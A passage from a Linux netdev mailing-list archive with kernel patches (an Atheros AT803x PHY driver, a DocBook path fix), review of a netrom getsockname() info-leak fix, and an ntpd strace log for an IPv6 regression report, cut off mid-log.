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* [PATCH v2] phy: add AT803x driver
From: ujhelyi.m @ 2012-10-15  5:07 UTC (permalink / raw)
  To: netdev; +Cc: davem, daniel, rd, Matus Ujhelyi

From: Matus Ujhelyi <ujhelyi.m@gmail.com>

This driver add support for wake over lan on AT803x phys.

Signed-off-by: Matus Ujhelyi <ujhelyi.m@gmail.com>
---
 drivers/net/phy/Kconfig  |    5 ++
 drivers/net/phy/Makefile |    1 +
 drivers/net/phy/at803x.c |  176 ++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 182 insertions(+)
 create mode 100644 drivers/net/phy/at803x.c

diff --git a/drivers/net/phy/Kconfig b/drivers/net/phy/Kconfig
index 3090dc6..e69d74e 100644
--- a/drivers/net/phy/Kconfig
+++ b/drivers/net/phy/Kconfig
@@ -15,6 +15,11 @@ if PHYLIB
 
 comment "MII PHY device drivers"
 
+config AT803X_PHY
+	tristate "Drivers for Atheros AT803X PHYs"
+	---help---
+	  Currently supports the AT8030 and AT8035 model
+
 config AMD_PHY
 	tristate "Drivers for the AMD PHYs"
 	---help---
diff --git a/drivers/net/phy/Makefile b/drivers/net/phy/Makefile
index 6d2dc6c..66720a5 100644
--- a/drivers/net/phy/Makefile
+++ b/drivers/net/phy/Makefile
@@ -25,6 +25,7 @@ obj-$(CONFIG_STE10XP)		+= ste10Xp.o
 obj-$(CONFIG_MICREL_PHY)	+= micrel.o
 obj-$(CONFIG_MDIO_OCTEON)	+= mdio-octeon.o
 obj-$(CONFIG_MICREL_KS8995MA)	+= spi_ks8995.o
+obj-$(CONFIG_AT803X_PHY)	+= at803x.o
 obj-$(CONFIG_AMD_PHY)		+= amd.o
 obj-$(CONFIG_MDIO_BUS_MUX)	+= mdio-mux.o
 obj-$(CONFIG_MDIO_BUS_MUX_GPIO)	+= mdio-mux-gpio.o
diff --git a/drivers/net/phy/at803x.c b/drivers/net/phy/at803x.c
new file mode 100644
index 0000000..45cbc10
--- /dev/null
+++ b/drivers/net/phy/at803x.c
@@ -0,0 +1,176 @@
+/*
+ * drivers/net/phy/at803x.c
+ *
+ * Driver for Atheros 803x PHY
+ *
+ * Author: Matus Ujhelyi <ujhelyi.m@gmail.com>
+ *
+ * This program is free software; you can redistribute  it and/or modify it
+ * under  the terms of  the GNU General  Public License as published by the
+ * Free Software Foundation;  either version 2 of the  License, or (at your
+ * option) any later version.
+ */
+
+#include <linux/phy.h>
+#include <linux/module.h>
+#include <linux/string.h>
+#include <linux/netdevice.h>
+#include <linux/etherdevice.h>
+
+#define AT803X_INTR_ENABLE			0x12
+#define AT803X_INTR_STATUS			0x13
+#define AT803X_WOL_ENABLE			0x01
+#define AT803X_DEVICE_ADDR			0x03
+#define AT803X_LOC_MAC_ADDR_0_15_OFFSET		0x804C
+#define AT803X_LOC_MAC_ADDR_16_31_OFFSET	0x804B
+#define AT803X_LOC_MAC_ADDR_32_47_OFFSET	0x804A
+#define AT803X_MMD_ACCESS_CONTROL		0x0D
+#define AT803X_MMD_ACCESS_CONTROL_DATA		0x0E
+#define AT803X_FUNC_DATA			0x4003
+
+MODULE_DESCRIPTION("Atheros 803x PHY driver");
+MODULE_AUTHOR("Matus Ujhelyi");
+MODULE_LICENSE("GPL");
+
+static void at803x_set_wol_mac_addr(struct phy_device *phydev)
+{
+	struct net_device *ndev = phydev->attached_dev;
+	const u8 *mac;
+	unsigned int i, offsets[] = {
+		AT803X_LOC_MAC_ADDR_32_47_OFFSET,
+		AT803X_LOC_MAC_ADDR_16_31_OFFSET,
+		AT803X_LOC_MAC_ADDR_0_15_OFFSET,
+	};
+
+	if (!ndev)
+		return;
+
+	mac = (const u8 *) ndev->dev_addr;
+
+	if (!is_valid_ether_addr(mac))
+		return;
+
+	for (i = 0; i < 3; i++) {
+		phy_write(phydev, AT803X_MMD_ACCESS_CONTROL,
+				  AT803X_DEVICE_ADDR);
+		phy_write(phydev, AT803X_MMD_ACCESS_CONTROL_DATA,
+				  offsets[i]);
+		phy_write(phydev, AT803X_MMD_ACCESS_CONTROL,
+				  AT803X_FUNC_DATA);
+		phy_write(phydev, AT803X_MMD_ACCESS_CONTROL_DATA,
+				  mac[(i * 2) + 1] | (mac[(i * 2)] << 8));
+	}
+}
+
+static int at803x_config_init(struct phy_device *phydev)
+{
+	int val;
+	u32 features;
+	int status;
+
+	features = SUPPORTED_TP | SUPPORTED_MII | SUPPORTED_AUI |
+		   SUPPORTED_FIBRE | SUPPORTED_BNC;
+
+	val = phy_read(phydev, MII_BMSR);
+	if (val < 0)
+		return val;
+
+	if (val & BMSR_ANEGCAPABLE)
+		features |= SUPPORTED_Autoneg;
+	if (val & BMSR_100FULL)
+		features |= SUPPORTED_100baseT_Full;
+	if (val & BMSR_100HALF)
+		features |= SUPPORTED_100baseT_Half;
+	if (val & BMSR_10FULL)
+		features |= SUPPORTED_10baseT_Full;
+	if (val & BMSR_10HALF)
+		features |= SUPPORTED_10baseT_Half;
+
+	if (val & BMSR_ESTATEN) {
+		val = phy_read(phydev, MII_ESTATUS);
+		if (val < 0)
+			return val;
+
+		if (val & ESTATUS_1000_TFULL)
+			features |= SUPPORTED_1000baseT_Full;
+		if (val & ESTATUS_1000_THALF)
+			features |= SUPPORTED_1000baseT_Half;
+	}
+
+	phydev->supported = features;
+	phydev->advertising = features;
+
+	/* enable WOL */
+	at803x_set_wol_mac_addr(phydev);
+	status = phy_write(phydev, AT803X_INTR_ENABLE, AT803X_WOL_ENABLE);
+	status = phy_read(phydev, AT803X_INTR_STATUS);
+
+	return 0;
+}
+
+/* ATHEROS 8035 */
+static struct phy_driver at8035_driver = {
+	.phy_id		= 0x004dd072,
+	.name		= "Atheros 8035 ethernet",
+	.phy_id_mask	= 0xffffffef,
+	.config_init	= at803x_config_init,
+	.features	= PHY_GBIT_FEATURES,
+	.flags		= PHY_HAS_INTERRUPT,
+	.config_aneg	= &genphy_config_aneg,
+	.read_status	= &genphy_read_status,
+	.driver		= {
+		.owner = THIS_MODULE,
+	},
+};
+
+/* ATHEROS 8030 */
+static struct phy_driver at8030_driver = {
+	.phy_id		= 0x004dd076,
+	.name		= "Atheros 8030 ethernet",
+	.phy_id_mask	= 0xffffffef,
+	.config_init	= at803x_config_init,
+	.features	= PHY_GBIT_FEATURES,
+	.flags		= PHY_HAS_INTERRUPT,
+	.config_aneg	= &genphy_config_aneg,
+	.read_status	= &genphy_read_status,
+	.driver		= {
+		.owner = THIS_MODULE,
+	},
+};
+
+static int __init atheros_init(void)
+{
+	int ret;
+
+	ret = phy_driver_register(&at8035_driver);
+	if (ret)
+		goto err1;
+
+	ret = phy_driver_register(&at8030_driver);
+	if (ret)
+		goto err2;
+
+	return 0;
+
+err2:
+	phy_driver_unregister(&at8035_driver);
+err1:
+	return ret;
+}
+
+static void __exit atheros_exit(void)
+{
+	phy_driver_unregister(&at8035_driver);
+	phy_driver_unregister(&at8030_driver);
+}
+
+module_init(atheros_init);
+module_exit(atheros_exit);
+
+static struct mdio_device_id __maybe_unused atheros_tbl[] = {
+	{ 0x004dd076, 0xffffffef },
+	{ 0x004dd072, 0xffffffef },
+	{ }
+};
+
+MODULE_DEVICE_TABLE(mdio, atheros_tbl);
-- 
1.7.9.5

^ permalink raw reply related

* [PATCH] docbook: networking: fix file paths for uapi headers
From: Randy Dunlap @ 2012-10-15  1:50 UTC (permalink / raw)
  To: Linus Torvalds
  Cc: Linux Kernel Mailing List, netdev@vger.kernel.org, David Miller,
	David Howells
In-Reply-To: <CA+55aFyt0KFNp5Binu-c3-XzF=MG+23EDOk1R6t4qqgW58ksAw@mail.gmail.com>

From: Randy Dunlap <rdunlap@xenotime.net>

Update file paths in Documentation/DocBook/networking.tmpl for uapi headers.

Signed-off-by: Randy Dunlap <rdunlap@xenotime.net>
---
 Documentation/DocBook/networking.tmpl |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- lnx-37-rc1.orig/Documentation/DocBook/networking.tmpl
+++ lnx-37-rc1/Documentation/DocBook/networking.tmpl
@@ -56,7 +56,7 @@
 !Enet/core/filter.c
      </sect1>
      <sect1><title>Generic Network Statistics</title>
-!Iinclude/linux/gen_stats.h
+!Iinclude/uapi/linux/gen_stats.h
 !Enet/core/gen_stats.c
 !Enet/core/gen_estimator.c
      </sect1>
@@ -80,7 +80,7 @@
 !Enet/wimax/op-rfkill.c
 !Enet/wimax/stack.c
 !Iinclude/net/wimax.h
-!Iinclude/linux/wimax.h
+!Iinclude/uapi/linux/wimax.h
      </sect1>
   </chapter>
 

^ permalink raw reply

* Re: [PATCH] netrom: fix info leak via getsockname()
From: Ben Hutchings @ 2012-10-14 23:11 UTC (permalink / raw)
  To: Clément Lecigne; +Cc: netdev
In-Reply-To: <CAKSJdACRs5r9bbr=VS25YoQGYyhZDCyejftC+tg6yeeaNMnErg@mail.gmail.com>

On Sun, 2012-10-14 at 20:23 +0200, Clément Lecigne wrote:
> The following patch fixes a 3 bytes info leak via getsockname() on
> AF_NETROM socket.
> 
> Details:
> 
> typedef struct {
> 	char		ax25_call[7];	/* 6 call + SSID (shifted ascii!) */
> } ax25_address;
> 
> struct sockaddr_ax25 {
> 	__kernel_sa_family_t sax25_family;
> 	ax25_address	sax25_call;
> 	int		sax25_ndigis;
> 	/* Digipeater ax25_address sets follow */
> };
> 
> After compilation, gcc will add 3 padding bytes after sax25_call to
> align sax25_ndigis and nr_getname does not clear these padding bytes
> before returning to userland, poc attached.
> 
> Signed-off-by: Clement Lecigne <clemun@gmail.com>
> 
> --- a/net/netrom/af_netrom.c
> +++ b/net/netrom/af_netrom.c
> @@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
> sockaddr *uaddr,
>         struct sock *sk = sock->sk;
>         struct nr_sock *nr = nr_sk(sk);
> 
> +    memset(sax, 0, sizeof(struct sockaddr_ax25));

This is not indented correctly.

>         lock_sock(sk);
>         if (peer != 0) {
>                 if (sk->sk_state != TCP_ESTABLISHED) {

On some architectures, structures have a minimum alignment of 4, so
there are 2 bytes of padding before sax25_call and 1 byte within it.
nr_getname() copies complete ax25_address structures, but nr_listen()
does not initialise the 1 byte of padding in user_addr:

		memset(&nr_sk(sk)->user_addr, 0, AX25_ADDR_LEN);

So I think you should address that too.  It appears that other
ax25_address structures are originally copied from userland and
therefore don't leak information, but I'm not sure.

Ben.

-- 
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 22:11 UTC (permalink / raw)
  To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1350252091.21172.17257.camel@edumazet-glaptop>

[-- Attachment #1: Type: text/plain, Size: 157 bytes --]

2012/10/15 Eric Dumazet <eric.dumazet@gmail.com>:
> Please add -f to follow children
>
> strace -o /tmp/STRACE -f /usr/bin/ntpd -g -u ntp:ntp
>
>

Ok, done.

[-- Attachment #2: STRACE --]
[-- Type: application/octet-stream, Size: 68573 bytes --]

12927 execve("/usr/bin/ntpd", ["/usr/bin/ntpd", "-g", "-u", "ntp:ntp"], [/* 16 vars */]) = 0
12927 brk(0)                            = 0x718000
12927 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
12927 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
12927 fstat(3, {st_mode=S_IFREG|0644, st_size=160446, ...}) = 0
12927 mmap(NULL, 160446, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc54a6f2000
12927 close(3)                          = 0
12927 open("/usr/lib/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0V\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=1022344, ...}) = 0
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6f1000
12927 mmap(NULL, 3117352, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc54a1ff000
12927 mprotect(0x7fc54a2f8000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc54a4f7000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xf8000) = 0x7fc54a4f7000
12927 close(3)                          = 0
12927 open("/usr/lib/libcrypto.so.1.0.0", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0J\6\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0555, st_size=2392233, ...}) = 0
12927 mmap(NULL, 4230344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc549df6000
12927 mprotect(0x7fc549fd6000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc54a1d5000, 155648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1df000) = 0x7fc54a1d5000
12927 mmap(0x7fc54a1fb000, 15560, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc54a1fb000
12927 close(3)                          = 0
12927 open("/usr/lib/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\"\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=31760, ...}) = 0
12927 mmap(NULL, 2128880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc549bee000
12927 mprotect(0x7fc549bf5000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc549df4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7fc549df4000
12927 close(3)                          = 0
12927 open("/usr/lib/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\25\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=16776, ...}) = 0
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6f0000
12927 mmap(NULL, 2111968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc5499ea000
12927 mprotect(0x7fc5499ee000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc549bed000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7fc549bed000
12927 close(3)                          = 0
12927 open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\30\2\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=2009849, ...}) = 0
12927 mmap(NULL, 3828816, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc549643000
12927 mprotect(0x7fc5497e1000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc5499e0000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7fc5499e0000
12927 mmap(0x7fc5499e6000, 15440, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc5499e6000
12927 close(3)                          = 0
12927 open("/usr/lib/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\16\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=14648, ...}) = 0
12927 mmap(NULL, 2109720, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc54943f000
12927 mprotect(0x7fc549442000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc549641000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7fc549641000
12927 close(3)                          = 0
12927 open("/usr/lib/libz.so.1", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\340\"\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=88656, ...}) = 0
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6ef000
12927 mmap(NULL, 2183688, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc549229000
12927 mprotect(0x7fc54923e000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc54943d000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14000) = 0x7fc54943d000
12927 close(3)                          = 0
12927 open("/usr/lib/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@l\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=137998, ...}) = 0
12927 mmap(NULL, 2208640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc54900d000
12927 mprotect(0x7fc549024000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc549223000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7fc549223000
12927 mmap(0x7fc549225000, 13184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc549225000
12927 close(3)                          = 0
12927 open("/usr/lib/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
12927 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \24\0\0\0\0\0\0"..., 832) = 832
12927 fstat(3, {st_mode=S_IFREG|0755, st_size=18760, ...}) = 0
12927 mmap(NULL, 2113880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc548e08000
12927 mprotect(0x7fc548e0c000, 2093056, PROT_NONE) = 0
12927 mmap(0x7fc54900b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7fc54900b000
12927 close(3)                          = 0
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6ee000
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6ed000
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6ec000
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a6eb000
12927 arch_prctl(ARCH_SET_FS, 0x7fc54a6ec700) = 0
12927 mprotect(0x7fc5499e0000, 16384, PROT_READ) = 0
12927 mprotect(0x7fc54900b000, 4096, PROT_READ) = 0
12927 mprotect(0x7fc549223000, 4096, PROT_READ) = 0
12927 mprotect(0x7fc54943d000, 4096, PROT_READ) = 0
12927 mprotect(0x7fc549641000, 4096, PROT_READ) = 0
12927 mprotect(0x7fc549df4000, 4096, PROT_READ) = 0
12927 mprotect(0x7fc54a1d5000, 110592, PROT_READ) = 0
12927 mprotect(0x7fc54a4f7000, 4096, PROT_READ) = 0
12927 mprotect(0x686000, 4096, PROT_READ) = 0
12927 mprotect(0x7fc54a71a000, 4096, PROT_READ) = 0
12927 munmap(0x7fc54a6f2000, 160446)    = 0
12927 set_tid_address(0x7fc54a6ec9d0)   = 12927
12927 set_robust_list(0x7fc54a6ec9e0, 24) = 0
12927 rt_sigaction(SIGRTMIN, {0x7fc5490137a0, [], SA_RESTORER|SA_SIGINFO, 0x7fc54901c170}, NULL, 8) = 0
12927 rt_sigaction(SIGRT_1, {0x7fc549013820, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fc54901c170}, NULL, 8) = 0
12927 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
12927 getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
12927 brk(0)                            = 0x718000
12927 brk(0x739000)                     = 0x739000
12927 socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3
12927 connect(3, {sa_family=AF_FILE, sun_path="/dev/log"}, 110) = 0
12927 open("/etc/localtime", O_RDONLY|O_CLOEXEC) = 4
12927 fstat(4, {st_mode=S_IFREG|0644, st_size=2309, ...}) = 0
12927 fstat(4, {st_mode=S_IFREG|0644, st_size=2309, ...}) = 0
12927 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a719000
12927 read(4, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\0\0\0\10\0\0\0\0"..., 4096) = 2309
12927 lseek(4, -1467, SEEK_CUR)         = 842
12927 read(4, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\t\0\0\0\t\0\0\0\0"..., 4096) = 1467
12927 lseek(4, 2308, SEEK_SET)          = 2308
12927 close(4)                          = 0
12927 munmap(0x7fc54a719000, 4096)      = 0
12927 sendto(3, "<29>Oct 15 00:02:29 ntpd[12927]:"..., 87, MSG_NOSIGNAL, NULL, 0) = 87
12927 umask(0)                          = 022
12927 umask(022)                        = 0
12927 getuid()                          = 0
12927 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc54a6ec9d0) = 12928
12928 set_robust_list(0x7fc54a6ec9e0, 24 <unfinished ...>
12927 exit_group(0)                     = ?
12928 <... set_robust_list resumed> )   = 0
12928 setsid()                          = 12928
12928 chdir("/")                        = 0
12927 +++ exited with 0 +++
12928 open("/dev/null", O_RDWR)         = 4
12928 fstat(4, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0
12928 dup2(4, 0)                        = 0
12928 dup2(4, 1)                        = 1
12928 dup2(4, 2)                        = 2
12928 close(4)                          = 0
12928 rt_sigaction(SIGHUP, {0x4146c0, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGINT, {0x4146c0, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGQUIT, {0x4146c0, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGTERM, {0x4146c0, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGBUS, {0x4146c0, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGUSR1, {0x414490, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGUSR2, {0x414440, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigaction(SIGPIPE, {SIG_IGN, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 timer_create(CLOCK_REALTIME, {0x718120, SIGALRM, SIGEV_SIGNAL, {...}}, {0}) = 0
12928 rt_sigaction(SIGALRM, {0x42fc60, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 timer_settime(0, 0, {it_interval={1, 0}, it_value={1, 0}}, NULL) = 0
12928 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
12928 close(4)                          = 0
12928 socket(PF_INET6, SOCK_STREAM, IPPROTO_IP) = 4
12928 getsockname(4, {sa_family=AF_INET6, sin6_port=htons(0), inet_pton(AF_INET6, "::", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0
12928 close(4)                          = 0
12928 uname({sys="Linux", node="hinniepc", ...}) = 0
12928 sendto(3, "<29>Oct 15 00:02:29 ntpd[12928]:"..., 62, MSG_NOSIGNAL, NULL, 0) = 62
12928 rt_sigaction(SIGSYS, {0x420d60, [], SA_RESTORER, 0x7fc549678020}, {SIG_DFL, [], 0}, 8) = 0
12928 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
12928 adjtimex({modes=ADJ_OFFSET|ADJ_MAXERROR|ADJ_ESTERROR|ADJ_STATUS|ADJ_TIMECONST, offset=0, freq=380673, maxerror=16, esterror=16, status=STA_PLL|STA_NANO, constant=3, precision=1, tolerance=32768000, time={1350252149, 821199283}, tick=10000, ppsfreq=0, jitter=0, shift=0, stabil=0, jitcnt=0, calcnt=0, errcnt=0, stbcnt=0}) = 0 (TIME_OK)
12928 rt_sigaction(SIGSYS, {SIG_DFL, [], SA_RESTORER, 0x7fc549678020}, NULL, 8) = 0
12928 open("/etc/ntp.conf", O_RDONLY)   = 4
12928 fstat(4, {st_mode=S_IFREG|0644, st_size=716, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a719000
12928 read(4, "# With the default settings belo"..., 4096) = 716
12928 read(4, "", 4096)                 = 0
12928 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 5
12928 getrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=4*1024}) = 0
12928 getrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=4*1024}) = 0
12928 getrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=4*1024}) = 0
12928 sendto(3, "<31>Oct 15 00:02:29 ntpd[12928]:"..., 101, MSG_NOSIGNAL, NULL, 0) = 101
12928 fcntl(5, F_DUPFD, 16)             = 16
12928 close(5)                          = 0
12928 setsockopt(16, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 setsockopt(16, SOL_IP, IP_TOS, [192], 4) = 0
12928 bind(16, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
12928 setsockopt(16, SOL_SOCKET, SO_TIMESTAMP, [1], 4) = 0
12928 fcntl(16, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 80, MSG_NOSIGNAL, NULL, 0) = 80
12928 socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 5
12928 fcntl(5, F_DUPFD, 16)             = 17
12928 close(5)                          = 0
12928 setsockopt(17, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 socket(PF_INET6, SOCK_STREAM, IPPROTO_IP) = 5
12928 setsockopt(5, SOL_IPV6, IPV6_V6ONLY, [1], 4) = 0
12928 close(5)                          = 0
12928 socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 5
12928 setsockopt(5, SOL_IPV6, IPV6_V6ONLY, [1], 4) = 0
12928 close(5)                          = 0
12928 close(5)                          = -1 EBADF (Bad file descriptor)
12928 setsockopt(17, SOL_IPV6, IPV6_V6ONLY, [1], 4) = 0
12928 bind(17, {sa_family=AF_INET6, sin6_port=htons(123), inet_pton(AF_INET6, "::", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0
12928 setsockopt(17, SOL_SOCKET, SO_TIMESTAMP, [1], 4) = 0
12928 fcntl(17, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
12928 brk(0x75a000)                     = 0x75a000
12928 brk(0x758000)                     = 0x758000
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 75, MSG_NOSIGNAL, NULL, 0) = 75
12928 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 5
12928 ioctl(5, SIOCGIFCONF, {80, {{"lo", {AF_INET, inet_addr("127.0.0.1")}}, {"eth0", {AF_INET, inet_addr("192.168.178.27")}}}}) = 0
12928 open("/proc/net/if_inet6", O_RDONLY) = 6
12928 fstat(6, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a718000
12928 lseek(6, 0, SEEK_SET)             = 0
12928 read(6, "fe80000000000000922b34fffe33c292"..., 1024) = 54
12928 ioctl(5, SIOCGIFFLAGS, {ifr_name="lo", ifr_flags=IFF_UP|IFF_LOOPBACK|IFF_RUNNING}) = 0
12928 ioctl(5, SIOCGIFNETMASK, {ifr_name="lo", ifr_netmask={AF_INET, inet_addr("255.0.0.0")}}) = 0
12928 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 7
